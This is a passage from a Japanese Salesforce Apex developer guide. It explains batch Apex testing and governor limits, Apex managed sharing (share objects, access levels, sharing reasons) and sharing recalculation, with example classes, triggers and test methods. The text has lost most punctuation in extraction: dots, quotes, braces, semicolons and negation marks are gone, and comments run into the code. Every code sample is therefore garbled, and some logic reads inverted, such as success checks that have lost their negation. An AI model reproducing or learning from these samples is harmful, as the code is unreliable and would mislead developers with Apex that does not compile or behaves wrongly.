取引先の sObject のリストを使用してインターフェースを実装します initialState 変数は最終として宣言されます

global class MyBatchable implements DatabaseBatchableltsObjectgt private final StringinitialState String query

global MyBatchable(String intialState) thisinitialState = initialState

global DatabaseQueryLocator start(DatabaseBatchableContext BC) Access initialStatehere

return DatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt batch) AccessinitialState here

global void finish(DatabaseBatchableContext BC) Access initialState here

initialStateはクラスの「最初の」状況ですこれを使用して一括処理ジョブの実行時にクラスのインスタンス間で情報を受け渡すことはできません たとえばexecuteで initialStateの値を変更した場合処理されたレコードの 2 番目の塊は新しい値にアクセスできません最初の値だけがアクセス可能です

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 150

Apex の一括処理のテスト

DatabaseBatchableインターフェースを実装する Apex をテストするにはインターフェースにより実装された各メソッドを直接コールし一括処理ジョブのシミュレーションを実行しなければなりません

一括処理 Apex をテストする場合executeメソッドの 1 つの実行だけをテストできます executeBatchメソッドの scopeパラメータを使用してexecuteメソッドに渡されるレコード数を制限しガバナ制限に達しないようにすることができます

executeBatchメソッドは匿名プロセスを開始します 一括処理 Apex をテストする場合結果に対してテストする前に一括処理ジョブを終了する必要があります executeBatchメソッドの周囲でテストメソッドstartTestおよび stopTestを使用してテストを続行する前に終了するようにします startTestメソッド後に作成されたすべての非同期コールはシステムによって収集されます stopTestを実行する場合すべての非同期プロセスが同期して実行されます

メモ startTestブロックおよび stopTestブロックで呼び出された futureまたは executeBatchなどの非同期コールはキュー内ジョブ数の制限に対してカウントされません

下記の例は OwnerReassignment クラスをテストします

public static testMethod void testBatch() user u = [SELECT ID username FROM User WHEREusername=testuser1acmecom] user u2 = [SELECT ID username FROM User WHEREusername=testuser2acmecom] String u2id = u2id 200 件のテスト アカウントを作成 - 1 つの実行をシミュレーションします 重要 - Salesforcecom テスト フレームで可能なのは 1 つの実行のテストだけです

List ltAccountgt accns = new ListltAccountgt() for(integer i = 0 ilt200 i++) Account a =new Account(name=testAccount+i Ownerid = uID) accnsadd(a)

insert accns

TestStartTest() OwnerReassignment reassign = new OwnerReassignment()reassignquery=SELECT ID Name Ownerid FROM Account WHERE ownerid= + uid + LIMIT=200 reassignemail=adminacmecom reassignfromUserId = uId reassigntoUserId= u2Id ID batchprocessid = DatabaseexecuteBatch(reassign) TestStopTest()

SystemAssertEquals(databasecountquery(SELECT count() + FROM Account WHEREownerid=u2ID) 200)

Apex の一括処理のガバナ制限

Apex の一括処理について次のガバナ制限に注意してください

bull 最大 5 件のキュー内またはアクティブ一括処理ジョブを Apex で行うことができますVisualforce でも 5 件の一括処理ジョブを行うことができます

bull ユーザは 1 度に最大 5 個のクエリカーソルを開くことができます たとえば5 個のカーソルが開き新しいカーソルを同じユーザが開こうとする場合にクライアント アプリケーションがログインしている場合5個のカーソルのうち最も古いカーソルが解放されます

メモ 異なる Forcecom 機能のカーソル制限は個別に追跡されます たとえば5 個の Apex クエリーカーソル5 個のバッチカーソル5 個の Visualforce 個を同時に開くことができます

bull DatabaseQueryLocatorオブジェクトでは最大 5000 万件のレコードが返されます 5000 万件以上のレコードが返された場合一括処理ジョブは即座に終了し「失敗」とマークされます

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 151

bull オプションの scopeパラメータでサイズが指定されていない場合Salesforcecom はQueryLocator が 200 件のバッチに返したレコードを一括処理し各バッチを executeメソッドに渡します Apex ガバナ制限はexecuteの各実行でリセットされます

bull 組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができますbull startexecuteおよび finishメソッドはメソッドごとに 1 回のコールアウトだけ実行できます

Apex の一括処理のベストプラクティス

bull 一括ジョブをトリガから開始する場合は細心の注意を払ってください トリガは 5 件を超える一括ジョブを追加しないようにする必要があります 具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

bull DatabaseexecuteBatchを呼び出すとSalesforcecom ではスケジュールされた時間のキューにのみジョブを配置します 実際の実行はサービスの使用可能状態に応じて遅れる場合があります

bull 一括処理 Apex をテストする場合executeメソッドの 1 つの実行だけをテストできます executeBatch

メソッドの scopeパラメータを使用してexecuteメソッドに渡されるレコード数を制限しガバナ制限に達しないようにすることができます

bull executeBatchメソッドは匿名プロセスを開始します一括処理Apexをテストする場合結果に対してテストする前に一括処理ジョブを終了する必要があります executeBatchメソッドの周囲でテストメソッドstartTestおよび stopTestを使用してテストを続行する前に終了するようにします

bull ジョブトランザクション全体で変数またはデータを共有する場合はクラス定義で DatabaseStatefulを使用します これを使用しない場合各トランザクションの開始時にすべてのインスタンス変数が初期状態にリセットされます

bull futureとして宣言されたメソッドはDatabaseBatchableインターフェースを実装したクラスでは許可されません

bull futureとして宣言されたメソッドはApex の一括処理クラスからは呼び出せませんbull Apex の一括処理メソッドから DatabaseexecuteBatchメソッドを呼び出すことはできませんbull サービスの機能停止などの重大な障害が発生した場合進行中の処理は「失敗」とマークされます エラー

を修正するために一括処理ジョブをもう一度実行する必要がありますbull Apex の一括処理ジョブが実行されると一括処理ジョブを送信したユーザーに電子メール通知が送信されま

すまたは管理パッケージにコードが含まれ登録組織が一括処理ジョブを実行している場合[Apex例外通知受信者] 項目に表示された受信者に電子メールが送信されます

bull 各メソッドの実行では標準のガバナ制限非同期ブロックである Visualforce コントローラまたはWSDL メソッドが使用されます

bull Apex の一括処理が呼び出されるたびに AsyncApexJob レコードが作成されますこのレコードの ID を使用してジョブの状況エラーの数進行状況申請者を取得する SOQL クエリを構成します AsyncApexJob オブジェクトについての詳細は『Forcecom Web Services API Developers Guide』のAsyncApexJobを参照してください

bull クラス内のすべてのメソッドは globalとして定義する必要があります

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 152

bull 共有再適用の場合Salesforcecom では一括処理内のレコードに対する Apex による共有管理をすべてexecuteメソッドで削除してから再作成することをお勧めしますこれにより共有が正確で完全であることを保証します

関連リンク例外ステートメント共有の理解

Apex による共有管理について

共有とはレコードに対してアクションを実行する許可をユーザまたはユーザグループに付与する行為のことです共有アクセス権はSalesforcecom ユーザインターフェースおよび Forcecom を使用して付与することもApex を使用してプログラムで付与することもできます

この項ではApex を使用した共有の概要について説明します

bull 共有の理解 (ページ 153)bull Apex を使用したレコードの共有 (ページ 156)bull Apex による共有管理の再適用 (ページ 160)

共有に関する詳細はSalesforcecom オンラインヘルプの「組織のデフォルト共有モデルの設定」 を参照してください

共有の理解共有 はカスタムオブジェクトとAccountContactOpportunityCase などの多くの標準オブジェクトのレコードレベルのアクセス制御を実現します管理者は最初にオブジェクトの組織の共有アクセスレベルを設定しレコード所有者ロール階層共有ルール共有の直接設定などに基づいてその他のアクセス権を付与します開発者は Apex 共有管理を使用できるようになりApex を使用したプログラムからのアクセス権の付与が可能になりますレコードに対するほとんどの共有は関連する共有オブジェクトで保持されますこれは他のプラットフォームのアクセス制御リスト (ACL) と似た機能です

共有タイプ

Salesforcecom には次の共有タイプがあります

Forcecom による共有管理Forcecom による共有管理ではレコードの所有者ロール階層および共有ルールに基づいて Forcecomによって付与される共有アクセス権を使用します

レコードの所有者各レコードはユーザ (場合によりカスタムオブジェクトケースおよびリードのキュー) が所有しますレコードの所有者にはフルアクセスが自動的に付与されレコードを参照編集移行共有および削除できます

Apex の一括処理 Version 180 | Apex による共有管理について | 153

ロール階層ロール階層によりその階層内の別のユーザよりも上位のユーザが下位ユーザの所有レコードまたは下位ユーザに共有されておりレコードに対して同じレベルのアクセス権を持つことができますそのためロール階層内のレコード所有者より上位のユーザにもそのレコードに対するフルアクセスが暗黙的に付与されますただしカスタムオブジェクトでは設定によりこの動作が無効になる場合がありますロール階層は共有レコードとして維持されるのではなくロール階層アクセス権が実行時に取得されます詳細はSalesforcecom オンラインヘルプの「階層を使用したアクセス権の制御」を参照してください

共有ルール共有ルールはシステム管理者が特定のユーザグループが所有するレコードへのアクセス権を特定のグループまたはロール内のユーザに自動的に付与する場合に使用します共有ルールはForcecomAppExchange からインストールしたアプリケーションのパッケージに追加したり共有ロジックをサポートする目的で使用したりすることはできません

Forcecomによる共有管理によって追加されたすべての暗黙的共有をSalesforcecomユーザインターフェースForcecom Web サービス APIまたは Apex を使用して直接変更することはできません

ユーザによる共有管理 (共有の直接設定)

ユーザによる共有管理によりレコードの所有者やレコードに対するフルアクセスを持つユーザはユーザまたはユーザグループとレコードを共有できます一般にこの処理はエンドユーザが単一レコードに対して実行しますレコードの所有者とロール階層内でその所有者の上位にあるユーザにのみレコードに対するフルアクセスが付与されます他のユーザにフルアクセスを付与することはできません特定のオブジェクトに対するオブジェクトレベルの「すべての編集」権限を持つユーザはレコードを手動で共有することもできますレコードの所有者が変わったり共有で付与されたアクセス権がオブジェクトの組織の共有デフォルトアクセスレベルより低くなった場合にユーザによる共有管理が削除されます

Apex による共有管理Apex による共有管理により開発者はアプリケーションの特定の共有要件を Apex を使用したプログラムでサポートできるようになりますこの共有タイプはForcecom による共有管理と似ていますがアプリケーション開発者のみが Apex を使用してこの共有を管理します「すべてのデータの編集」権限を持つユーザのみがレコードへの Apex による共有管理を追加または変更できますApex による共有管理はレコード所有者が変更しても維持されます

メモ Apex による共有管理はカスタムオブジェクトでのみ有効です

共有の理由項目

Salesforcecomユーザインターフェースにおけるカスタムオブジェクトの Reason項目はレコードで使用される共有の型を指定しますこの項目はApex または Forcecom API では rowCauseとなります

次のリスト項目のそれぞれはレコードに使用される共有の種類です[理由]項目値の下のテーブルおよび関連する rowCause値です

bull Forcecom による共有管理

Apex の一括処理 Version 180 | 共有の理解 | 154

rowCause値 (Apex または Forcecom API で使用)Reason Field値

ImplicitChild取引先の共有ImplicitParent関連するレコードの所有者または共有

所有者所有者

Team営業チームRule共有ルールTerritoryRuleテリトリー割り当てルール

bull ユーザによる共有管理

rowCause値 (Apex または Forcecom API で使用)Reason Field値

Manual共有の直接設定TerritoryManualテリトリー直接設定

bull Apex による共有管理

rowCause値 (Apex または Forcecom API で使用)Reason Field値

開発者による定義開発者による定義

Apex による共有管理の表示理由は開発者が定義します

アクセスレベル

レコードへのユーザのアクセス権を決定する際アクセスの最も権限の高いレベルを使用しますほとんどの共有オブジェクトは次のアクセス権をサポートしています

説明API 名アクセスレベル

レコードの所有者とロール階層内でその所有者の上位にあるユーザにのみレコードを参照または編集できますこのアクセスレベルは AccountShare オブジェクトにのみ適用されます

None非公開

指定されたユーザまたはグループがレコードを参照のみを実行できます

Read参照のみ

指定されたユーザまたはグループがレコードを参照および編集できます

Edit参照更新

Apex の一括処理 Version 180 | 共有の理解 | 155

説明API 名アクセスレベル

指定されたユーザまたはグループがレコードを参照編集移行共有削除できます

Allフルアクセス

メモ このアクセスレベルはForcecom 共有管理でのみ付与できます

Apex を使用したレコードの共有プログラムから共有にアクセスするには共有したい標準オブジェクトまたはカスタムオブジェクトに関連付けられている共有オブジェクトを使用する必要がありますたとえばAccountShare は Account オブジェクトの共有オブジェクトContactShare は Contact オブジェクトの共有オブジェクトとなります他のオブジェクトについても同様ですさらにすべてのカスタムオブジェクトの共有オブジェクトには次のように名前が付けられていますMyCustomObjectはカスタムオブジェクトの名前ですMyCustomObject__Share

主従関係の従側にあるオブジェクトには関連付けられた共有オブジェクトはありません従レコードへのアクセスは主の共有オブジェクトと関係の共有設定により定義されます詳細はSalesforcecomオンラインヘルプの「カスタム オブジェクトのセキュリティ」を参照してください

共有オブジェクトにはForcecom 共有管理ユーザ共有管理Apex 共有管理の 3 種類の共有すべてをサポートするレコードが含まれています組織のデフォルトロール階層「すべてのデータの表示」や「すべてのデータの編集」などのプロファイル権限により暗黙的にユーザに付与された共有はこのオブジェクトでは追跡されません

各共有オブジェクトには次のプロパティがあります

説明プロパティ名

共有 sObject に対し指定されたユーザまたはグループが権限を与えられたアクセスレベルプロパティ名はオブジェクト名に AccessLevelが追加されたものと

objectNameAccessLevel

なりますたとえばLeadShare オブジェクトのプロパティ名はLeadShareAccessLevelとなります有効な値は次のとおりですbull Edit

bull Read

bull All

メモ AllアクセスレベルはForcecom 共有管理でのみ使用できます

この項目にはその親オブジェクトに割り当てられた組織のデフォルトアクセスレベルよりも高いアクセスレベルが割り当てられていなければなりません詳細は「アクセスレベル」 (ページ 155)を参照してください

オブジェクトの IDこの項目は更新できませんParentID

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 156

説明プロパティ名

ユーザまたはグループにアクセス権が付与される理由この理由によって共有のタイプが決まります共有のタイプは共有レコードの変更権限を制御しますこの項目は更新できません

RowCause

アクセス権を付与するユーザまたはグループの IDグループにはパブリックグループロールテリトリーを指定できますこの項目は更新できません

UserOrGroupId

詳細は『Forcecom Web Services API』の個別の共有オブジェクトを参照してください

Apex を使用したユーザ共有管理の作成

Apex を使用しユーザまたはグループに対してレコードの共有を直接設定することができますレコード所有者が変更になると共有は自動的に削除されます次にクラスの例を示します

public class JobSharing

static boolean manualShareRead(Id recordId Id userOrGroupId) カスタムオブジェクト Job の新しい共有オブジェクトを作成Job__Share jobShr = new Job__Share()

共有されるレコードの ID を設定jobShrParentId = recordId

アクセス権を付与するユーザまたはグループの ID を設定jobShrUserOrGroupId = userOrGroupId

アクセスレベルを設定jobShrAccessLevel = Read

共有の直接設定の場合rowCause を「manual」に設定 オブジェクト共有のデフォルト値が「manual」であるためこの行は省略できますjobShrRowCause = SchemaJob__ShareRowCauseManual

共有するレコードを挿入しsave result を取得 false パラメータは処理するレコードを複数渡された場合 部分処理を許可しますDatabaseSaveResult sr = Databaseinsert(jobShrfalse)

save result を処理if(srisSuccess()) 成功を表しますreturn true else 最初のsave result エラーを取得DatabaseError err = srgetErrors()[0]

エラーが 3 つのアクセスレベルに関連しているかどうかを確認 オブジェクトのデフォルト値と同等かより権限の大きいアクセスレベルは 許可されません これらの共有レコードは不要であるため挿入例外が許可されますif(errgetStatusCode() == StatusCodeFIELD_INTEGRITY_EXCEPTION ampamperrgetMessage()contains(AccessLevel)) 成功を表しますreturn true else 失敗を表しますreturn false

manualShareRead メソッドのテストstatic testMethod void testManualShareRead() テストのためのユーザを選択ListltUsergt users = [select id from user where isActive = true limit 2] Iduser1Id = users[0]Id Id user2Id = users[1]Id

新規ジョブの作成Job__c j = new Job__c() jName = Test Job jOwnerId = user1Id insertj

レコード所有者ではないユーザに共有の直接設定を挿入SystemassertEquals(manualShareRead(jIduser2Id) true)

ジョブ共有レコードのクエリを実行ListltJob__Sharegt jShrs = [select id userOrGroupIdaccessLevel rowCause from job__share where parentId = jId and userOrGroupId= user2Id]

ジョブに対する 1 つの共有の直接設定をテストSystemassertEquals(jShrssize() 1 Set the

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 157

objects sharing model to Private)

共有の直接設定の属性をテストSystemassertEquals(jShrs[0]accessLevel Read)SystemassertEquals(jShrs[0]rowCause Manual) SystemassertEquals(jShrs[0]userOrGroupIduser2Id)

不正なジョブ ID をテストdelete j

削除されたジョブ ID に対する共有の直接設定を挿入SystemassertEquals(manualShareRead(jIduser2Id) false)

重要 組織のデフォルトアクセスレベルは最も権限の大きいアクセスレベルに設定することはできませんカスタムオブジェクトの場合は Public ReadWrite となります詳細は「アクセスレベル」 (ページ155)を参照してください

Apex による共有管理の作成

Apex による共有管理を使用し開発者はアプリケーションの動作をサポートする共有をプログラムで操作できるようになりますこの共有タイプはForcecom による共有管理と似ていますがアプリケーション開発者のみが Apex を使用してこの共有を管理します「すべてのデータの編集」権限を持つユーザのみがレコードへの Apex による共有管理を追加または変更できますApex による共有管理はレコード所有者が変更しても維持されます

メモ Apex による共有管理はカスタムオブジェクトでのみ有効です

Apex による共有管理にはApex 共有の理由を使用する必要がありますApex 共有の理由は開発者がユーザやユーザグループに対してレコードを共有した理由を追跡するための 1 つの方法です複数の Apex 共有理由を使用することで共有レコードの更新や削除に必要なコーディングを簡略化することができますまた開発者は別の理由を使用して同じユーザやグループに何度も共有することができるようになります

Apex 共有の理由はオブジェクトの詳細ページとして定義されますApex 共有の理由にはそれぞれラベルと名前が付けられます

bull ユーザインターフェースでレコードの共有を参照すると[理由]列に表示ラベルが表示されますこれによりユーザとシステム管理者が共有の目的を理解できます表示ラベルはトランスレーションワークベンチ使用した翻訳でも有効化されます

bull この名前はAPI および Apex で理由を参照するときに使用します

Apex 共有の理由名の形式は次のとおりです

MyReasonName__c

Apex 共有の理由は次のようにプログラムから参照できます

SchemaCustomObject__SharerowCauseSharingReason__c

たとえばJob というオブジェクトの Apex 共有の理由である Recruiter は次のように参照できます

SchemaJob__SharerowCauseRequester__c

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 158

詳細は「スキーマメソッド」 (ページ 238)を参照してください

Apex 共有の理由を作成する手順は次のとおりです

1 [設定] [作成] [オブジェクト] をクリックします2 カスタムオブジェクトを選択します3 [Apex 共有の理由] 関連リストで [新規] をクリックします4 Apex 共有の理由の表示ラベルを入力しますユーザインターフェースでレコードの共有を参照すると[理

由]列に表示ラベルが表示されます表示ラベルはトランスレーションワークベンチ使用した翻訳でも有効化されます

5 Apex 共有の理由の名前を入力しますこの名前はForcecom API および Apex で理由を参照するときに使用しますこの名前はアンダースコアと英数字のみを含み組織内で一意の名前にする必要があります最初は文字であることスペースは使用しない最後にアンダースコアを使用しない2 つ続けてアンダースコアを使用しないという制約があります

6 [保存] をクリックします

Apex による共有管理例

次の例では人事採用アプリケーションの構築中でJob というカスタムオブジェクトが存在すると仮定していますこのジョブにリストされた採用担当者および採用担当マネージャにレコード所有者とほぼ同様にレコードへのフルアクセス権を付与したいと考えています次のトリガはジョブ作成時に採用担当者および採用担当マネージャにアクセス権を付与します

trigger JobApexSharing on Job__c (after insert)

if(triggerisInsert) Job に共有オブジェクトの新しいリストを作成ListltJob__Sharegt jobShrs =new ListltJob__Sharegt()

採用担当者および採用担当マネージャの共有のための変数を宣言Job__Share recruiterShr Job__SharehmShr

for(Job__c job triggernew) 新規共有オブジェクトのインスタンス化recruiterShr = newJob__Share() hmShr = new Job__Share()

共有されるレコードの ID を設定recruiterShrParentId = jobId hmShrParentId = jobId

アクセス権を付与するユーザまたはグループの ID を設定recruiterShrUserOrGroupId =jobRecruiter__c hmShrUserOrGroupId = jobHiring_Manager__c

アクセスレベルを設定recruiterShrAccessLevel = edit hmShrAccessLevel = read

採用担当者と採用担当マネージャの Apex 共有の理由を設定recruiterShrRowCause =SchemaJob__ShareRowCauseRecruiter__c hmShrRowCause =SchemaJob__ShareRowCauseHiring_Manager__c

挿入するためにリストにオブジェクトを追加jobShrsadd(recruiterShr) jobShrsadd(hmShr)

共有レコードを挿入しsave result を取得 処理するレコードを複数渡された場合 部分処理を許可しますDatabaseSaveResult[] lsr = Databaseinsert(jobShrsfalse)

カウンタを作成Integer i=0

save results を処理for(DatabaseSaveResult sr lsr) if(srisSuccess()) 最初の saveresult エラーを取得error DatabaseError err = srgetErrors()[0]

エラーが 3 つのアクセスレベルに関連しているかどうかを確認 オブジェクトのデフォルト値と同等かより

Apex の一括処理 Version 180 | Apex を使用したレコードの共有 | 159

権限の大きいアクセスレベルは 許可されません これらの共有レコードは不要であるため 挿入例外が許可されますif((errgetStatusCode() == StatusCodeFIELD_INTEGRITY_EXCEPTION ampamperrgetMessage()contains(AccessLevel))) エラーが 3 つのアクセスレベルに関連していない場合エラーを発生triggernewMapget(jobShrs[i]ParentId) addError(Unable to grant sharing accessdue to following exception + errgetMessage()) i++

重要 組織のデフォルトアクセスレベルは最も権限の大きいアクセスレベルに設定することはできませんカスタムオブジェクトの場合は Public ReadWrite となります詳細は「アクセスレベル」 (ページ155)を参照してください

Apex による共有管理の再適用組織のデフォルトアクセスレベルが変更されるとSalesforcecomはオブジェクトの全レコードの共有を自動的に再適用します再適用により適切な場合は Forcecom 共有管理が追加されますまた付与されたアクセス権が冗長である場合はすべての共有タイプが削除されますたとえばオブジェクトの共有モデルが「非公開」から「公開参照のみ」に変更されるとユーザに「参照のみ」アクセス権を付与する共有の直接設定が削除されます

Apex 共有管理を再適用するにはSalesforcecom が提供する再適用を行うインターフェースを実装するApex クラスを記述する必要がありますその後Apex 共有管理の再適用リストのカスタムオブジェクトの詳細ページにおいてクラスとカスタムオブジェクトを関連付ける必要があります

メモ Apex 共有管理の再適用は現在限定リリースプログラムで使用できます組織での Apex 共有管理の再適用の詳細についてはsalesforcecom までお問い合わせください

その後Apex共有の理由を指定するカスタムオブジェクト詳細ページからこのクラスを実行しますアプリケーションのロジックに定義されたユーザへのアクセス権限の付与においてオブジェクトへのロックにより Apexスクリプトが実行されない場合管理者はそのオブジェクトの Apex 共有管理を再適用しなければならないことがありますDatabaseexecuteBatchメソッドをApex共有管理の再適用をプログラムに基づいて開始することもできます

メモ カスタムオブジェクトの組織のデフォルト共有アクセスレベルが更新される度にそのカスタムオブジェクトに関連付けられた Apex 最適用クラスもまた実行されます

Apexの再適用の実行を監視または停止するには[設定] [監視] [Apex] [ジョブ]をクリックします詳細はSalesforcecom オンラインヘルプの「Apex ジョブキュー」を参照してください

共有の再適用のための Apex クラスの作成

Apex 共有管理を再適用するには再適用を行う Apex クラスを記述する必要がありますこのクラスはSalesforcecom が提供する DatabaseBatchableインターフェースを実装している必要があります

DatabaseBatchableインターフェースはApex共有管理の再適用などすべてのApexの一括処理プロセスに使用されますこのインターフェースは組織で複数回実装できます実装しなければならないメソッドの詳細は「Apex の一括処理の使用 (ページ 146)」を参照してください

Apex 共有管理の再適用を作成する前にベストプラクティスについても検討してください

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 160

Apex による共有管理の再適用例

この例では人事採用アプリケーションの構築中でJob というオブジェクトが存在すると仮定していますジョブにリストされた採用担当者および採用担当マネージャにレコードへのアクセス権が付与されていることを確認したいと考えています次の Apex クラスがその確認を行います

global class JobSharingRecalc implements DatabaseBatchableltsObjectgt

start メソッドは共有の再適用の最初にコールされます このメソッドは再適用する必要のあるレコードを含む SOQL クエリロケータを返します このメソッドは global でなければなりませんglobalDatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator([SELECT Id Hiring_Manager__c Recruiter__c FROM Job__c])

executeBatch メソッドはstart から返されたレコードのチャンクによって実行されます このメソッドはglobal でなければなりません global void execute(DatabaseBatchableContext ListltsObjectgtscope) メソッドに渡されたレコードの塊のマップを作成しますMapltID Job__cgt jobMap = new MapltIDJob__cgt((ListltJob__cgt)scope)

挿入する Job__Share オブジェクトのリストを作成ListltJob__Sharegt newJobShrs = newListltJob__Sharegt()

Job レコードのすべての既存の共有レコードをバッチから検索 このアプリケーションの Apex 共有の理由を使用しているレコードのみが返されますListltJob__Sharegt oldJobShrs = [select id from Job__Sharewhere Id In jobMapkeySet() and (rowCause = SchemaJob__SharerowCauseRecruiter__c orrowCause = SchemaJob__SharerowCauseHiring_Manager__c)]

各 Job レコードに対し採用担当者と採用担当マネージャの新しい共有レコードを 作成for(Job__c job jobMapvalues()) Job__Share jobHMShr = new Job__Share() Job__Share jobRecShr = newJob__Share()

Job のアクセス権を付与するユーザ (採用担当マネージャ) の ID を設定jobHMShrUserOrGroupId =jobHiring_Manager__c

ジョブの採用担当マネージャには常に「参照のみ」アクセス権が付与されていなければなりませんjobHMShrAccessLevel = Read

共有されるレコードの IDjobHMShrParentId = jobId

採用担当マネージャの Apex 共有の利用に rowCause を設定 これにより共有レコードを Apex 共有管理として確立しますjobHMShrRowCause = SchemaJob__ShareRowCauseHiring_Manager__c

挿入するために共有レコードをリストに追加newJobShrsadd(jobHMShr)

Job のアクセス権を付与するユーザ (採用担当者) の ID を設定jobRecShrUserOrGroupId =jobRecruiter__c

ジョブの採用担当マネージャには常に「参照更新」アクセス権が付与されていなければなりませんjobRecShrAccessLevel = Edit

共有されるレコードの IDjobRecShrParentId = jobId

採用担当者の Apex 共有の利用に rowCause を設定 これにより共有レコードを Apex 共有管理として確立しますjobRecShrRowCause = SchemaJob__ShareRowCauseRecruiter__c

挿入するために共有レコードをリストに追加newJobShrsadd(jobRecShr)

try 既存の共有レコードを削除 これにより新しい共有レコードを最初から記述できますDeleteoldJobShrs

新しい共有レコードを挿入しsave result を取得 false パラメータは処理するレコードを複数渡された

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 161

場合 部分処理を許可しますDatabaseSaveResult[] lsr = Databaseinsert(newJobShrsfalse)

save results を挿入のために処理for(DatabaseSaveResult sr lsr) if(srisSuccess()) 最初の save result エラーを取得DatabaseError err = srgetErrors()[0]

エラーが明白なアクセスレベルに関連しているかどうかを確認 オブジェクトのデフォルト値と同等かより権限の大きいアクセスレベルは 許可されません これらの共有レコードは不要であるため 挿入例外が許可されますif((errgetStatusCode() == StatusCodeFIELD_INTEGRITY_EXCEPTION ampamperrgetMessage()contains(AccessLevel))) エラーは明白なアクセスレベルとは無関係です Apexジョブの送信者に電子メールを送信MessagingSingleEmailMessage mail = newMessagingSingleEmailMessage() String[] toAddresses = new String[] adminyourcompanycommailsetToAddresses(toAddresses) mailsetSubject(Apex Sharing Recalculation Exception)mailsetPlainTextBody (The Apex sharing recalculation threw the following exception +errgetMessage()) MessagingsendEmail(new MessagingSingleEmailMessage[] mail ) catch(DmlException e) 処理が失敗した場合はApex ジョブの送信者に電子メールを送信MessagingSingleEmailMessage mail = new MessagingSingleEmailMessage() String[] toAddresses= new String[] adminyourcompanycom mailsetToAddresses(toAddresses)mailsetSubject(Apex Sharing Recalculation Exception) mailsetPlainTextBody (The Apexsharing recalculation threw the following exception + egetMessage())MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

finish メソッドは共有の再適用の最後にコールされます このメソッドは global でなければなりませんglobal void finish(DatbaseBatchableContext BC) Apex ジョブの送信者にジョブが完了したこと

を通知する電子メールを送信MessagingSingleEmailMessage mail = new MessagingSingleEmailMessage()String[] toAddresses = new String[] adminyourcompanycommailsetToAddresses(toAddresses) mailsetSubject(Apex Sharing Recalculation Completed)mailsetPlainTextBody (The Apex sharing recalculation finished processing)MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

Apex による共有管理の再適用のテスト

DatabaseBatchableインターフェースを実装する Apex をテストするにはインターフェースにより実装された各メソッドを個別にコールし共有の再適用のシミュレーションを実行しなければなりません

DatabaseBatchableインターフェースを実装するクラスがメソッドに渡されるDatabaseBatchInput引数で getAsyncApexJobIdメソッドを使用している場合テストメソッド setupAsyncApexJobを使用したテストで使用するために AsyncApexJob レコードを準備する必要があります詳細は「テストメソッド」 (ページ 293)を参照してください

startから返された QueryLocator オブジェクトをテストするにはDatabaseQueryLocator の getQueryメソッドを使用する必要があります詳細は「データベースのApexの一括処理オブジェクトとメソッド」 (ページ273)を参照してください

下記の例では前の項のクラスでテストを行いテストメソッド setupAsyncApexJobの使い方について説明しますまたstartから返された QueryLocator オブジェクトのテスト方法も示します

public class JobSharingTester

JobSharingRecalc クラスのテストstatic testMethod void testApexSharing() DatabaseBatchable インターフェースを実装するクラスをインスタンス化JobSharingRecalc recalc = newJobSharingRecalc()

AsyncApexJob オブジェクトの準備に必要な変数を宣言Integer totalItems Integer itemsProcessedInteger errs

テストで使用する新規 Job を作成 少なくとも 1 つの Job が存在していなければなりませんJob__c j= new Job__c() jName = Test Job jRecruiter__c = UserInfogetUserId()

Apex の一括処理 Version 180 | Apex による共有管理の再適用 | 162

jHiring_Manager__c = UserInfogetUserId() insert j

TeststartTest()

バッチ処理可能なクラスから start メソッドをコールDatabaseQueryLocator ql = recalcstart()

バッチ処理可能なクラスからの start メソッドのコールで 正しいクエリロケータが返されることをテストクエリの結果を文字列で表したものを取得するには QueryLocatorgetQuery メソッドを使用する 必要がありますSystemassertEquals(qlgetQuery() SELECT Id Hiring_Manager__c Recruiter__c fromJob__c)

バッチ処理可能なクラスから executeBatch メソッドをコールするための変数を設定 バッチ処理全体に含まれるチャンク数excution totalItems = 1 バッチ処理全体で処理されたチャンク数itemsProcessed =0 バッチ処理全体のエラー数チャンク 1 個あたりのエラーは 1 つerrs = 0

クエリロケータのチャンクの start メソッドから返される クエリのレコード 返されるレコードの最大数は 200 レコードMapltID Job__cgt jobMap = new MapltID JOB__cgt( [SELECT Id Hiring_Manager__cRecruiter__c FROM Job__c limit 200])

バッチ可能なクラスから execute メソッドをコールrecalcexecute(jobMapvalues())

クエリジョブは executeBatch メソッドの引数として渡されます クエリはexecute メソッドで挿入されたジョブと関連する共有レコードを 返しますListltJob__cgt jobs = [SELECT Id Hiring_Manager__cRecruiter__c (Select Id ParentId UserOrGroupId AccessLevel RowCause FROM Shares where(rowCause = SchemaJob__SharerowCauseRecruiter__c or rowCause =SchemaJob__SharerowCauseHiring_Manager__c)) from Job__c WHERE Id In jobMapkeySet()]

ジョブに Apex 共有管理が存在することを確認for(Job__c job jobs) 各ジョブには最大 2 つのApex 共有管理レコードが存在しますSystemassert(jobSharessize() lt= 2)

for(Job__Share jobShr jobShares) Job に対し採用担当マネージャの共有レコードをテストif(jobShrRowCause == SchemaJob__ShareRowCauseHiring_Manager__c)SystemassertEquals(jobShrUserOrGroupIdjobHiring_Manager__c)SystemassertEquals(jobShrAccessLevelRead) Job に対し採用担当者の共有レコードをテストelse if(jobShrRowCause == SchemaJob__ShareRowCauseRecruiter__c)SystemassertEquals(jobShrUserOrGroupIdjobRecruiter__c)SystemassertEquals(jobShrAccessLevelEdit)

バッチ処理可能なクラスから finish メソッドをコールするための変数を設定 バッチ処理全体に含まれるチャンク数excution totalItems = 1 バッチ処理全体で処理されたチャンク数itemsProcessed = 1 バッチ処理全体のエラー数チャンク 1 個あたりのエラーは 1 つerrs = 0

バッチ可能なクラスから finish メソッドをコールrecalcfinish()

TeststopTest()

再適用に使用される Apex クラスの関連付け

再適用に使用される Apex クラスはカスタムオブジェクトと関連付けられていなければなりません

Apex による共有管理の再適用クラスをカスタムオブジェクトと関連付ける手順は次のとおりです

